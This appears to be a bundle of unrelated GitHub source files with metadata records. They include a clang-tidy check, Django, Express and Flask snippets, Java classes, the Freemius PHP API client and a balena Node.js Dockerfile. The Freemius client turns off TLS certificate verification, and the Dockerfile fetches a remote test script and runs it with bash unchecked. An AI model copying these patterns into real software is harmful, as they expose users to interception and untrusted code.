{ "content_hash": "837e90116546758c2b31c0b92b136827", "timestamp": "", "source": "github", "line_count": 37, "max_line_length": 181, "avg_line_length": 29.054054054054053, "alnum_prop": 0.68, "repo_name": "fuku-ys/earthquake", "id": "3996da803b25b59e5cc81653a013982a1f341ae3", "size": "1087", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "example/not-so-much-useful/OLD.zk-wip.ryu_pyeq/000-prepare.sh", "mode": "33261", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "6961" }, { "name": "C++", "bytes": "23353" }, { "name": "CMake", "bytes": "1067" }, { "name": "CSS", "bytes": "2115" }, { "name": "Go", "bytes": "116488" }, { "name": "Groff", "bytes": "32254" }, { "name": "HTML", "bytes": "8909" }, { "name": "Java", "bytes": "57909" }, { "name": "JavaScript", "bytes": "2826" }, { "name": "Makefile", "bytes": "1177" }, { "name": "Protocol Buffer", "bytes": "2745" }, { "name": "Python", "bytes": "114519" }, { "name": "Shell", "bytes": "73968" } ], "symlink_target": "" }
using namespace clang::ast_matchers; namespace clang { namespace tidy { namespace objc { namespace { AST_MATCHER_P(ObjCImplementationDecl, hasInterface, ast_matchers::internal::Matcher<ObjCInterfaceDecl>, Base) { const ObjCInterfaceDecl *InterfaceDecl = Node.getClassInterface(); return Base.matches(*InterfaceDecl, Finder, Builder); } AST_MATCHER_P(ObjCContainerDecl, hasInstanceMethod, ast_matchers::internal::Matcher<ObjCMethodDecl>, Base) { // Check each instance method against the provided matcher. for (const auto *I : Node.instance_methods()) { if (Base.matches(*I, Finder, Builder)) return true; } return false; } } // namespace void MissingHashCheck::registerMatchers(MatchFinder *Finder) { Finder->addMatcher( objcMethodDecl( hasName("isEqual:"), isInstanceMethod(), hasDeclContext(objcImplementationDecl( hasInterface(isDirectlyDerivedFrom("NSObject")), unless(hasInstanceMethod(hasName("hash")))) .bind("impl"))), this); } void MissingHashCheck::check(const MatchFinder::MatchResult &Result) { const auto *ID = Result.Nodes.getNodeAs<ObjCImplementationDecl>("impl"); diag(ID->getLocation(), "%0 implements -isEqual: without implementing -hash") << ID; } } // namespace objc } // namespace tidy } // namespace clang
{ "content_hash": "81decba2189146f197a4e8a748b6e5b1", "timestamp": "", "source": "github", "line_count": 46, "max_line_length": 79, "avg_line_length": 30.804347826086957, "alnum_prop": 0.6683133380381087, "repo_name": "endlessm/chromium-browser", "id": "26104ed8f19695ffe211111b8a46bbdd3369931e", "size": "1898", "binary": false, "copies": "8", "ref": "refs/heads/master", "path": "third_party/llvm/clang-tools-extra/clang-tidy/objc/MissingHashCheck.cpp", "mode": "33188", "license": "bsd-3-clause", "language": [], "symlink_target": "" }
"""web URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url,include from django.contrib import admin import blog urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^',include('blog.urls')), ]
{ "content_hash": "35d366c1b4e8fa7d2f68c731ca788efa", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 79, "avg_line_length": 37, "alnum_prop": 0.6953316953316954, "repo_name": "SnailTowardThesun/blog_django", "id": "2990a15e263f8e733efd9cfecd2973079c3b8118", "size": "814", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "web/web/urls.py", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "62899" }, { "name": "HTML", "bytes": "27970" }, { "name": "JavaScript", "bytes": "96031" }, { "name": "Python", "bytes": "9303" } ], "symlink_target": "" }
package com.navercorp.pinpoint.plugin.tomcat.interceptor; import com.navercorp.pinpoint.bootstrap.context.Trace; import com.navercorp.pinpoint.bootstrap.instrument.InstrumentMethod; import com.navercorp.pinpoint.bootstrap.interceptor.AroundInterceptor; import com.navercorp.pinpoint.bootstrap.logging.PLogger; import com.navercorp.pinpoint.bootstrap.logging.PLoggerFactory; import com.navercorp.pinpoint.plugin.tomcat.AsyncAccessor; import com.navercorp.pinpoint.plugin.tomcat.TraceAccessor; /** * * @author jaehong.kim * */ public class RequestRecycleInterceptor implements AroundInterceptor { private PLogger logger = PLoggerFactory.getLogger(this.getClass()); private InstrumentMethod targetMethod; public RequestRecycleInterceptor(InstrumentMethod targetMethod) { this.targetMethod = targetMethod; } @Override public void before(Object target, Object[] args) { logger.beforeInterceptor(target, target.getClass().getName(), targetMethod.getName(), "", args); try { if (target instanceof AsyncAccessor) { // reset ((AsyncAccessor) target)._$PINPOINT$_setAsync(Boolean.FALSE); } if (target instanceof TraceAccessor) { final Trace trace = ((TraceAccessor) target)._$PINPOINT$_getTrace(); if (trace != null && trace.canSampled()) { // end of root span trace.close(); } // reset ((TraceAccessor) target)._$PINPOINT$_setTrace(null); } } catch (Throwable t) { logger.warn("Failed to BEFORE process. {}", t.getMessage(), t); } } @Override public void after(Object target, Object[] args, Object result, Throwable throwable) { } }
{ "content_hash": "3d6580514de8ac55dfea2116a384760a", "timestamp": "", "source": "github", "line_count": 53, "max_line_length": 104, "avg_line_length": 34.509433962264154, "alnum_prop": 0.6539092400218699, "repo_name": "sjmittal/pinpoint", "id": "ea3d1e4f2ba91b4ae60a7b2a7a0fc91162847409", "size": "2422", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "plugins/tomcat/src/main/java/com/navercorp/pinpoint/plugin/tomcat/interceptor/RequestRecycleInterceptor.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "22853" }, { "name": "CSS", "bytes": "148240" }, { "name": "CoffeeScript", "bytes": "10124" }, { "name": "Groovy", "bytes": "1423" }, { "name": "HTML", "bytes": "627927" }, { "name": "Java", "bytes": "9799087" }, { "name": "JavaScript", "bytes": "4822318" }, { "name": "Makefile", "bytes": "5246" }, { "name": "PLSQL", "bytes": "4156" }, { "name": "Python", "bytes": "3523" }, { "name": "Ruby", "bytes": "943" }, { "name": "Shell", "bytes": "30663" }, { "name": "Thrift", "bytes": "9043" } ], "symlink_target": "" }
package org.mule.modules.morphia; import com.github.jmkgreen.morphia.annotations.Entity; import com.github.jmkgreen.morphia.annotations.Id; import org.bson.types.ObjectId; @Entity("employees") public class Employee { @Id private ObjectId id; private String firstName; private String lastName; private Long salary = null; public Employee() { } public ObjectId getId() { return id; } public void setId(ObjectId id) { this.id = id; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public Long getSalary() { return salary; } public void setSalary(Long salary) { this.salary = salary; } }
{ "content_hash": "cf8054a8eb7334db1077c9a8d6f5be9b", "timestamp": "", "source": "github", "line_count": 52, "max_line_length": 54, "avg_line_length": 18.307692307692307, "alnum_prop": 0.6313025210084033, "repo_name": "mulesoft/mule-module-morphia", "id": "af3c2a8e7a57e4ff2156d8358e4be75a3b1bdd49", "size": "1245", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/test/java/org/mule/modules/morphia/Employee.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "101023" } ], "symlink_target": "" }
package org.terasology.world.block.shapes; import com.bulletphysics.collision.shapes.CollisionShape; import org.terasology.asset.Asset; import org.terasology.math.Rotation; import org.terasology.math.Side; import org.terasology.math.geom.Vector3f; import org.terasology.world.block.BlockPart; /** * Describes a shape that a block can take. The shape may also be rotated if not symmetrical. * * @author Immortius */ public interface BlockShape extends Asset<BlockShapeData> { /** * @return The display name for the shape - used as a suffix for blocks automatically generated using the shape. */ String getDisplayName(); /** * @param part * @return The mesh part for the given part of the block, or null if it has none */ BlockMeshPart getMeshPart(BlockPart part); /** * @param side * @return Whether the given side blocks */ boolean isBlockingSide(Side side); /** * @param rot * @return The collision shape for the given rotation */ CollisionShape getCollisionShape(Rotation rot); /** * @param rot * @return The collision offset for the given rotation */ Vector3f getCollisionOffset(Rotation rot); /** * @return Is this block shape's collision symmetric when altering yaw. */ boolean isCollisionYawSymmetric(); }
{ "content_hash": "b709e750c89e38190ea7b0fcf4d2baa7", "timestamp": "", "source": "github", "line_count": 53, "max_line_length": 116, "avg_line_length": 25.566037735849058, "alnum_prop": 0.6885608856088561, "repo_name": "Ciclop/Terasology", "id": "8f7bccac9e47d1c1c81b9685fd59c9cbef0e1b12", "size": "1951", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "engine/src/main/java/org/terasology/world/block/shapes/BlockShape.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "3245" }, { "name": "GLSL", "bytes": "109450" }, { "name": "Groovy", "bytes": "1996" }, { "name": "Java", "bytes": "6142349" }, { "name": "Protocol Buffer", "bytes": "9493" }, { "name": "Shell", "bytes": "9442" } ], "symlink_target": "" }
<?php require_once( dirname( __FILE__ ) . '/FreemiusBase.php' ); define( 'FS_SDK__USER_AGENT', 'fs-php-' . Freemius_Api_Base::VERSION ); if ( ! defined( 'FS_SDK__SIMULATE_NO_CURL' ) ) { define( 'FS_SDK__SIMULATE_NO_CURL', false ); } if ( ! defined( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE' ) ) { define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', false ); } if ( ! defined( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL' ) ) { define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', false ); } define( 'FS_SDK__HAS_CURL', ! FS_SDK__SIMULATE_NO_CURL && function_exists( 'curl_version' ) ); if ( ! FS_SDK__HAS_CURL ) { $curl_version = array( 'version' => '7.0.0' ); } else { $curl_version = curl_version(); } define( 'FS_API__PROTOCOL', version_compare( $curl_version['version'], '7.37', '>=' ) ? 'https' : 'http' ); if ( ! defined( 'FS_API__LOGGER_ON' ) ) { define( 'FS_API__LOGGER_ON', false ); } if ( ! defined( 'FS_API__ADDRESS' ) ) { define( 'FS_API__ADDRESS', '://api.freemius.com' ); } if ( ! defined( 'FS_API__SANDBOX_ADDRESS' ) ) { define( 'FS_API__SANDBOX_ADDRESS', '://sandbox-api.freemius.com' ); } class Freemius_Api extends Freemius_Api_Base { private static $_logger = array(); /** * @param string $pScope 'app', 'developer', 'user' or 'install'. * @param number $pID Element's id. * @param string $pPublic Public key. * @param string|bool $pSecret Element's secret key. * @param bool $pSandbox Whether or not to run API in sandbox mode. */ public function __construct( $pScope, $pID, $pPublic, $pSecret = false, $pSandbox = false ) { // If secret key not provided, use public key encryption. if ( is_bool( $pSecret ) ) { $pSecret = $pPublic; } parent::Init( $pScope, $pID, $pPublic, $pSecret, $pSandbox ); } public static function GetUrl( $pCanonizedPath = '', $pIsSandbox = false ) { $address = ( $pIsSandbox ? FS_API__SANDBOX_ADDRESS : FS_API__ADDRESS ); if ( ':' === $address[0] ) { $address = self::$_protocol . $address; } return $address . $pCanonizedPath; } #region Servers Clock Diff ------------------------------------------------------ /** * @var int Clock diff in seconds between current server to API server. */ private static $_clock_diff = 0; /** * Set clock diff for all API calls. * * @since 1.0.3 * * @param $pSeconds */ public static function SetClockDiff( $pSeconds ) { self::$_clock_diff = $pSeconds; } /** * Find clock diff between current server to API server. * * @since 1.0.2 * @return int Clock diff in seconds. */ public static function FindClockDiff() { $time = time(); $pong = self::Ping(); return ( $time - strtotime( $pong->timestamp ) ); } #endregion Servers Clock Diff ------------------------------------------------------ /** * @var string http or https */ private static $_protocol = FS_API__PROTOCOL; /** * Set API connection protocol. * * @since 1.0.4 */ public static function SetHttp() { self::$_protocol = 'http'; } /** * @since 1.0.4 * * @return bool */ public static function IsHttps() { return ( 'https' === self::$_protocol ); } /** * Sign request with the following HTTP headers: * Content-MD5: MD5(HTTP Request body) * Date: Current date (i.e Sat, 14 Feb 2015 20:24:46 +0000) * Authorization: FS {scope_entity_id}:{scope_entity_public_key}:base64encode(sha256(string_to_sign, * {scope_entity_secret_key})) * * @param string $pResourceUrl * @param array $pCurlOptions * * @return array */ function SignRequest( $pResourceUrl, $pCurlOptions ) { $eol = "\n"; $content_md5 = ''; $now = ( time() - self::$_clock_diff ); $date = date( 'r', $now ); $content_type = ''; if ( isset( $pCurlOptions[ CURLOPT_POST ] ) && 0 < $pCurlOptions[ CURLOPT_POST ] ) { $content_md5 = md5( $pCurlOptions[ CURLOPT_POSTFIELDS ] ); $pCurlOptions[ CURLOPT_HTTPHEADER ][] = 'Content-MD5: ' . $content_md5; $content_type = 'application/json'; } $pCurlOptions[ CURLOPT_HTTPHEADER ][] = 'Date: ' . $date; $string_to_sign = implode( $eol, array( $pCurlOptions[ CURLOPT_CUSTOMREQUEST ], $content_md5, $content_type, $date, $pResourceUrl ) ); // If secret and public keys are identical, it means that // the signature uses public key hash encoding. $auth_type = ( $this->_secret !== $this->_public ) ? 'FS' : 'FSP'; // Add authorization header. $pCurlOptions[ CURLOPT_HTTPHEADER ][] = 'Authorization: ' . $auth_type . ' ' . $this->_id . ':' . $this->_public . ':' . self::Base64UrlEncode( hash_hmac( 'sha256', $string_to_sign, $this->_secret ) ); return $pCurlOptions; } /** * Get API request URL signed via query string. * * @param string $pPath * * @throws Freemius_Exception * * @return string */ function GetSignedUrl( $pPath ) { $resource = explode( '?', $this->CanonizePath( $pPath ) ); $pResourceUrl = $resource[0]; $eol = "\n"; $content_md5 = ''; $content_type = ''; $now = ( time() - self::$_clock_diff ); $date = date( 'r', $now ); $string_to_sign = implode( $eol, array( 'GET', $content_md5, $content_type, $date, $pResourceUrl ) ); // If secret and public keys are identical, it means that // the signature uses public key hash encoding. $auth_type = ( $this->_secret !== $this->_public ) ? 'FS' : 'FSP'; return Freemius_Api::GetUrl( $pResourceUrl . '?' . ( 1 < count( $resource ) && ! empty( $resource[1] ) ? $resource[1] . '&' : '' ) . http_build_query( array( 'auth_date' => $date, 'authorization' => $auth_type . ' ' . $this->_id . ':' . $this->_public . ':' . self::Base64UrlEncode( hash_hmac( 'sha256', $string_to_sign, $this->_secret ) ) ) ), $this->_isSandbox ); } /** * @param resource $pCurlHandler * @param array $pCurlOptions * * @return mixed */ private static function ExecuteRequest( &$pCurlHandler, &$pCurlOptions ) { $start = microtime( true ); $result = curl_exec( $pCurlHandler ); if ( FS_API__LOGGER_ON ) { $end = microtime( true ); $has_body = ( isset( $pCurlOptions[ CURLOPT_POST ] ) && 0 < $pCurlOptions[ CURLOPT_POST ] ); self::$_logger[] = array( 'id' => count( self::$_logger ), 'start' => $start, 'end' => $end, 'total' => ( $end - $start ), 'method' => $pCurlOptions[ CURLOPT_CUSTOMREQUEST ], 'path' => $pCurlOptions[ CURLOPT_URL ], 'body' => $has_body ? $pCurlOptions[ CURLOPT_POSTFIELDS ] : null, 'result' => $result, 'code' => curl_getinfo( $pCurlHandler, CURLINFO_HTTP_CODE ), 'backtrace' => debug_backtrace(), ); } return $result; } /** * @return array */ static function GetLogger() { return self::$_logger; } /** * @param string $pCanonizedPath * @param string $pMethod * @param array $pParams * @param null|resource $pCurlHandler * @param bool $pIsSandbox * @param null|callable $pBeforeExecutionFunction * * @return object[]|object|null * * @throws \Freemius_Exception */ private static function MakeStaticRequest( $pCanonizedPath, $pMethod = 'GET', $pParams = array(), $pCurlHandler = null, $pIsSandbox = false, $pBeforeExecutionFunction = null ) { if ( ! FS_SDK__HAS_CURL ) { self::ThrowNoCurlException(); } // Connectivity errors simulation. if ( FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE ) { self::ThrowCloudFlareDDoSException(); } else if ( FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL ) { self::ThrowSquidAclException(); } if ( ! $pCurlHandler ) { $pCurlHandler = curl_init(); } $opts = array( CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 60, CURLOPT_USERAGENT => FS_SDK__USER_AGENT, ); if ( ! isset( $opts[ CURLOPT_HTTPHEADER ] ) || ! is_array( $opts[ CURLOPT_HTTPHEADER ] ) ) { $opts[ CURLOPT_HTTPHEADER ] = array(); } if ( 'POST' === $pMethod || 'PUT' === $pMethod ) { if ( is_array( $pParams ) && 0 < count( $pParams ) ) { $opts[ CURLOPT_HTTPHEADER ][] = 'Content-Type: application/json'; $opts[ CURLOPT_POST ] = count( $pParams ); $opts[ CURLOPT_POSTFIELDS ] = json_encode( $pParams ); } $opts[ CURLOPT_RETURNTRANSFER ] = true; } $request_url = Freemius_Api::GetUrl( $pCanonizedPath, $pIsSandbox ); $opts[ CURLOPT_URL ] = $request_url; $opts[ CURLOPT_CUSTOMREQUEST ] = $pMethod; $resource = explode( '?', $pCanonizedPath ); // disable the 'Expect: 100-continue' behaviour. This causes CURL to wait // for 2 seconds if the server does not support this header. $opts[ CURLOPT_HTTPHEADER ][] = 'Expect:'; if ( 'https' === substr( strtolower( $request_url ), 0, 5 ) ) { $opts[ CURLOPT_SSL_VERIFYHOST ] = false; $opts[ CURLOPT_SSL_VERIFYPEER ] = false; } if ( false !== $pBeforeExecutionFunction && is_callable( $pBeforeExecutionFunction ) ) { $opts = call_user_func( $pBeforeExecutionFunction, $resource[0], $opts ); } curl_setopt_array( $pCurlHandler, $opts ); $result = self::ExecuteRequest( $pCurlHandler, $opts ); /*if (curl_errno($ch) == 60) // CURLE_SSL_CACERT { self::errorLog('Invalid or no certificate authority found, using bundled information'); curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . '/fb_ca_chain_bundle.crt'); $result = curl_exec($ch); }*/ // With dual stacked DNS responses, it's possible for a server to // have IPv6 enabled but not have IPv6 connectivity. If this is // the case, curl will try IPv4 first and if that fails, then it will // fall back to IPv6 and the error EHOSTUNREACH is returned by the // operating system. if ( false === $result && empty( $opts[ CURLOPT_IPRESOLVE ] ) ) { $matches = array(); $regex = '/Failed to connect to ([^:].*): Network is unreachable/'; if ( preg_match( $regex, curl_error( $pCurlHandler ), $matches ) ) { if ( strlen( @inet_pton( $matches[1] ) ) === 16 ) { // self::errorLog('Invalid IPv6 configuration on server, Please disable or get native IPv6 on your server.'); $opts[ CURLOPT_IPRESOLVE ] = CURL_IPRESOLVE_V4; curl_setopt( $pCurlHandler, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4 ); $result = self::ExecuteRequest( $pCurlHandler, $opts ); } } } if ( $result === false ) { self::ThrowCurlException( $pCurlHandler ); } curl_close( $pCurlHandler ); if ( empty( $result ) ) { return null; } $decoded = json_decode( $result ); if ( is_null( $decoded ) ) { if ( preg_match( '/Please turn JavaScript on/i', $result ) && preg_match( '/text\/javascript/', $result ) ) { self::ThrowCloudFlareDDoSException( $result ); } else if ( preg_match( '/Access control configuration prevents your request from being allowed at this time. Please contact your service provider if you feel this is incorrect./', $result ) && preg_match( '/squid/', $result ) ) { self::ThrowSquidAclException( $result ); } else { $decoded = (object) array( 'error' => (object) array( 'type' => 'Unknown', 'message' => $result, 'code' => 'unknown', 'http' => 402 ) ); } } return $decoded; } /** * Makes an HTTP request. This method can be overridden by subclasses if * developers want to do fancier things or use something other than curl to * make the request. * * @param string $pCanonizedPath The URL to make the request to * @param string $pMethod HTTP method * @param array $pParams The parameters to use for the POST body * @param null|resource $pCurlHandler Initialized curl handle * * @return object[]|object|null * * @throws Freemius_Exception */ public function MakeRequest( $pCanonizedPath, $pMethod = 'GET', $pParams = array(), $pCurlHandler = null ) { $resource = explode( '?', $pCanonizedPath ); // Only sign request if not ping.json connectivity test. $sign_request = ( '/v1/ping.json' !== strtolower( substr( $resource[0], - strlen( '/v1/ping.json' ) ) ) ); return self::MakeStaticRequest( $pCanonizedPath, $pMethod, $pParams, $pCurlHandler, $this->_isSandbox, $sign_request ? array( &$this, 'SignRequest' ) : null ); } #region Connectivity Test ------------------------------------------------------ /** * If successful connectivity to the API endpoint using ping.json endpoint. * * - OR - * * Validate if ping result object is valid. * * @param mixed $pPong * * @return bool */ public static function Test( $pPong = null ) { $pong = is_null( $pPong ) ? self::Ping() : $pPong; return ( is_object( $pong ) && isset( $pong->api ) && 'pong' === $pong->api ); } /** * Ping API to test connectivity. * * @return object */ public static function Ping() { try { $result = self::MakeStaticRequest( '/v' . FS_API__VERSION . '/ping.json' ); } catch ( Freemius_Exception $e ) { // Map to error object. $result = (object) $e->getResult(); } catch ( Exception $e ) { // Map to error object. $result = (object) array( 'error' => array( 'type' => 'Unknown', 'message' => $e->getMessage() . ' (' . $e->getFile() . ': ' . $e->getLine() . ')', 'code' => 'unknown', 'http' => 402 ) ); } return $result; } #endregion Connectivity Test ------------------------------------------------------ #region Connectivity Exceptions ------------------------------------------------------ /** * @param resource $pCurlHandler * * @throws Freemius_Exception */ private static function ThrowCurlException( $pCurlHandler ) { $e = new Freemius_Exception( array( 'error' => array( 'code' => curl_errno( $pCurlHandler ), 'message' => curl_error( $pCurlHandler ), 'type' => 'CurlException', ), ) ); curl_close( $pCurlHandler ); throw $e; } /** * @param string $pResult * * @throws Freemius_Exception */ private static function ThrowNoCurlException( $pResult = '' ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'cUrlMissing', 'message' => $pResult, 'code' => 'curl_missing', 'http' => 402 ) ) ); } /** * @param string $pResult * * @throws Freemius_Exception */ private static function ThrowCloudFlareDDoSException( $pResult = '' ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'CloudFlareDDoSProtection', 'message' => $pResult, 'code' => 'cloudflare_ddos_protection', 'http' => 402 ) ) ); } /** * @param string $pResult * * @throws Freemius_Exception */ private static function ThrowSquidAclException( $pResult = '' ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'SquidCacheBlock', 'message' => $pResult, 'code' => 'squid_cache_block', 'http' => 402 ) ) ); } #endregion Connectivity Exceptions ------------------------------------------------------ }
{ "content_hash": "7e97bcb15a0cf543c3b6ff413cf37456", "timestamp": "", "source": "github", "line_count": 562, "max_line_length": 197, "avg_line_length": 29.67437722419929, "alnum_prop": 0.5356478983030522, "repo_name": "michaelbontyes/ekogito", "id": "2fc58d6f56332e694cade55997ace40a3c86f226", "size": "17282", "binary": false, "copies": "5", "ref": "refs/heads/master", "path": "wp-content/mu-plugins/page-builder-sandwich/freemius/includes/sdk/Freemius.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "163" }, { "name": "C", "bytes": "68199" }, { "name": "CSS", "bytes": "3391007" }, { "name": "HTML", "bytes": "50491" }, { "name": "JavaScript", "bytes": "7484023" }, { "name": "PHP", "bytes": "26897420" }, { "name": "Perl", "bytes": "408" }, { "name": "Roff", "bytes": "28048" }, { "name": "Shell", "bytes": "2114" }, { "name": "Smarty", "bytes": "33" } ], "symlink_target": "" }
module.exports = function(config){ var express = require('express'); var router = express.Router(); var lastResponse; /* GET home page. */ router.get('/', function(req, res, next) { console.log(config.isPrelaunch); if(config.preLaunch){ res.render('comingSoon', { title: 'Hector Help' }); }else{ res.render('hector', { title: 'Hector Help' }); } }); router.get('/hector', function(req, res, next) { if(config.preLaunch){ res.render('comingSoon', { title: 'Hector Help' }); }else{ res.render('hector', { title: 'Hector Help' }); } }); router.get('/about', function(req, res, next) { res.render('about', { title: 'Hector Help' }); }); router.get('/chat', function(req, res, next) { res.render('chat', { title: 'Hector Help', type:req.query.type }); }); router.get('/forum', function(req, res, next) { res.redirect('/forum/teasing'); }); router.get('/forum/:category', function(req, res, next) { res.render('forum-category', { title: 'Hector Help', category: req.params.category}); }); router.post('/chat-response', function(req,res){ var messageBody = req.body.message; if(lastResponse === undefined){ if(messageBody.includes("suicidal")){ lastResponse = "Something about going to childline"; res.json({response:lastResponse}); } else if(messageBody.includes("drugs")){ lastResponse = "Something about going to the police"; res.json({response:lastResponse}); } else{ res.json({response:"Sorry, I didn't get that."}); } } else if(lastResponse.includes()){ } else if(lastResponse.includes()){ } }); return router; };
{ "content_hash": "895b609a9e5d6fd7609798f721e105d2", "timestamp": "", "source": "github", "line_count": 69, "max_line_length": 88, "avg_line_length": 23.82608695652174, "alnum_prop": 0.6289537712895377, "repo_name": "alexlogan-io/hector-help", "id": "3a131bb0b1c26a16ab908bbcc50d1a75c9b7932a", "size": "1644", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "routes/index.js", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "4581" }, { "name": "HTML", "bytes": "12090" }, { "name": "JavaScript", "bytes": "5398" } ], "symlink_target": "" }
FROM balenalib/nanopc-t4-debian:bullseye-build ENV NODE_VERSION 14.16.1 ENV YARN_VERSION 1.22.4 RUN for key in \ 6A010C5166006599AA17F08146C2130DFD2497F5 \ ; do \ gpg --batch --keyserver pgp.mit.edu --recv-keys "$key" || \ gpg --batch --keyserver keyserver.pgp.com --recv-keys "$key" || \ gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key" ; \ done \ && curl -SLO "http://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-arm64.tar.gz" \ && echo "58cb307666ed4aa751757577a563b8a1e5d4ee73a9fac2b495e5c463682a07d1 node-v$NODE_VERSION-linux-arm64.tar.gz" | sha256sum -c - \ && tar -xzf "node-v$NODE_VERSION-linux-arm64.tar.gz" -C /usr/local --strip-components=1 \ && rm "node-v$NODE_VERSION-linux-arm64.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz.asc" \ && gpg --batch --verify yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && mkdir -p /opt/yarn \ && tar -xzf yarn-v$YARN_VERSION.tar.gz -C /opt/yarn --strip-components=1 \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarn \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarnpkg \ && rm yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && npm config set unsafe-perm true -g --unsafe-perm \ && rm -rf /tmp/* CMD ["echo","'No CMD command was set in Dockerfile! Details about CMD command could be found in Dockerfile Guide section in our Docs. Here's the link: https://balena.io/docs"] RUN curl -SLO "https://raw.githubusercontent.com/balena-io-library/base-images/8accad6af708fca7271c5c65f18a86782e19f877/scripts/assets/tests/test-stack@node.sh" \ && echo "Running test-stack@node" \ && chmod +x test-stack@node.sh \ && bash test-stack@node.sh \ && rm -rf test-stack@node.sh RUN [ ! -d /.balena/messages ] && mkdir -p /.balena/messages; echo 'Here are a few details about this Docker image (For more information please visit https://www.balena.io/docs/reference/base-images/base-images/): \nArchitecture: ARM v8 \nOS: Debian Bullseye \nVariant: build variant \nDefault variable(s): UDEV=off \nThe following software stack is preinstalled: \nNode.js v14.16.1, Yarn v1.22.4 \nExtra features: \n- Easy way to install packages with `install_packages <package-name>` command \n- Run anywhere with cross-build feature (for ARM only) \n- Keep the container idling with `balena-idle` command \n- Show base image details with `balena-info` command' > /.balena/messages/image-info RUN echo '#!/bin/sh.real\nbalena-info\nrm -f /bin/sh\ncp /bin/sh.real /bin/sh\n/bin/sh "$@"' > /bin/sh-shim \ && chmod +x /bin/sh-shim \ && cp /bin/sh /bin/sh.real \ && mv /bin/sh-shim /bin/sh
{ "content_hash": "26a6e66551c8cc4b7e455b62a47fdefe", "timestamp": "", "source": "github", "line_count": 41, "max_line_length": 696, "avg_line_length": 67.4390243902439, "alnum_prop": 0.7092224231464738, "repo_name": "nghiant2710/base-images", "id": "03255d00c1e7f55c05ad9651310946735f140448", "size": "2786", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "balena-base-images/node/nanopc-t4/debian/bullseye/14.16.1/build/Dockerfile", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Dockerfile", "bytes": "144558581" }, { "name": "JavaScript", "bytes": "16316" }, { "name": "Shell", "bytes": "368690" } ], "symlink_target": "" }
from flask import render_template, request from standup.utils import json_requested, jsonify def register_error_handlers(app): app.register_error_handler(403, forbidden) app.register_error_handler(404, page_not_found) app.register_error_handler(500, something_broke) def api_error(code, message): error = dict(request=request.path, message=message) return jsonify(error), code def error(code, message, template): if json_requested(): return api_error(code, str(message)) else: return render_template(template, error=message), code def forbidden(message=None): message = message or 'You shall not pass!' return error(403, message, 'errors/403.html') def page_not_found(message=None): message = message or 'Oops! The page you are looking for does not exist.' return error(404, message, 'errors/404.html') def something_broke(message=None): message = message or 'Oops! Stood up too fast and feeling woozy.' return error(500, message, 'errors/500.html') class ApiError(Exception): def __init__(self, *args, **kwargs): super(ApiError, self).__init__(*args) self.code = kwargs.pop('code', 400)
{ "content_hash": "d92d267e45ecbbec148b97af17b76508", "timestamp": "", "source": "github", "line_count": 42, "max_line_length": 77, "avg_line_length": 28.357142857142858, "alnum_prop": 0.6943744752308985, "repo_name": "rlr/standup", "id": "97c1cf5ca07a2f21dfaf5dcf2f69c05d1ad1eb87", "size": "1191", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "standup/errors.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "CSS", "bytes": "33470" }, { "name": "JavaScript", "bytes": "2960" }, { "name": "Python", "bytes": "149693" }, { "name": "Shell", "bytes": "427" } ], "symlink_target": "" }
